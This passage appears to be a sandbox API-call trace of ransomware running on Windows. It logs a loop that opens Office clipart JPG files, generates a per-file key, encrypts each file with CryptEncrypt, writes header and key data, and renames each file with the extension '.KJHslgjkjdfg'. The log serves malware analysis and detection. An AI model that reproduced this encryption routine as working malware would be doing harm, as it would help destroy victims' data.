lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.670] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.670] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.670] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.670] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.670] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x67a3, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x67a3, lpOverlapped=0x0) returned 1 [0196.672] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x67b0, dwBufLen=0x67b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x67b0) returned 1 [0196.672] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.672] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x67b0, lpOverlapped=0x0) returned 1 [0196.673] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.673] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6884, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.673] SetEndOfFile (hFile=0x130) returned 1 [0196.675] GetProcessHeap () returned 0x990000 [0196.676] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.676] GetProcessHeap () returned 0x990000 [0196.676] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.676] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg.kjhslgjkjdfg")) returned 1 [0196.677] CloseHandle (hObject=0x130) returned 1 [0196.677] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5de2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0178523.JPG", cAlternateFileName="")) returned 1 [0196.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.678] GetProcessHeap () returned 0x990000 [0196.678] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.678] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.678] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0196.680] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.680] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.680] GetProcessHeap () returned 0x990000 [0196.680] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.680] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.680] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.680] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.680] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.681] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.681] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.681] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.681] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.681] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.681] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5de2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5de2, lpOverlapped=0x0) returned 1 [0196.684] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5df0, dwBufLen=0x5df0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5df0) returned 1 [0196.684] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.684] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5df0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5df0, lpOverlapped=0x0) returned 1 [0196.685] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.685] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.685] SetEndOfFile (hFile=0x130) returned 1 [0196.687] GetProcessHeap () returned 0x990000 [0196.687] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.687] GetProcessHeap () returned 0x990000 [0196.687] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.687] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg.kjhslgjkjdfg")) returned 1 [0196.688] CloseHandle (hObject=0x130) returned 1 [0196.688] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5b2a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0178632.JPG", cAlternateFileName="")) returned 1 [0196.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.689] GetProcessHeap () returned 0x990000 [0196.689] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.689] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.689] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.689] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0196.692] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.692] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.692] GetProcessHeap () returned 0x990000 [0196.692] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.692] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.692] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.692] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.692] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.692] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.692] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.693] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.693] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.693] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.693] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.693] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5b2a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5b2a, lpOverlapped=0x0) returned 1 [0196.694] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5b30, dwBufLen=0x5b30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5b30) returned 1 [0196.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.694] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5b30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5b30, lpOverlapped=0x0) returned 1 [0196.695] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.695] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.695] SetEndOfFile (hFile=0x130) returned 1 [0196.698] GetProcessHeap () returned 0x990000 [0196.698] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.698] GetProcessHeap () returned 0x990000 [0196.698] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg.kjhslgjkjdfg")) returned 1 [0196.699] CloseHandle (hObject=0x130) returned 1 [0196.699] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d26, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0178639.JPG", cAlternateFileName="")) returned 1 [0196.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.700] GetProcessHeap () returned 0x990000 [0196.700] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.700] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.700] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.700] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0196.703] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.703] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.703] GetProcessHeap () returned 0x990000 [0196.703] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.703] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.704] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.704] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.704] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.704] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.704] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.704] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.704] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.704] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.704] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7d26, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7d26, lpOverlapped=0x0) returned 1 [0196.707] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7d30, dwBufLen=0x7d30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7d30) returned 1 [0196.708] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.708] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7d30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7d30, lpOverlapped=0x0) returned 1 [0196.708] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.708] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.708] SetEndOfFile (hFile=0x130) returned 1 [0196.711] GetProcessHeap () returned 0x990000 [0196.711] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.711] GetProcessHeap () returned 0x990000 [0196.711] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.711] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg.kjhslgjkjdfg")) returned 1 [0196.713] CloseHandle (hObject=0x130) returned 1 [0196.713] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a0c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0178932.JPG", cAlternateFileName="")) returned 1 [0196.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.714] GetProcessHeap () returned 0x990000 [0196.714] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.714] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.715] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.715] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.717] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.717] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.717] GetProcessHeap () returned 0x990000 [0196.717] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.717] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.717] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.717] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.717] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.717] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.717] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.718] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.718] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.718] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.718] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8a0c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8a0c, lpOverlapped=0x0) returned 1 [0196.721] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8a10, 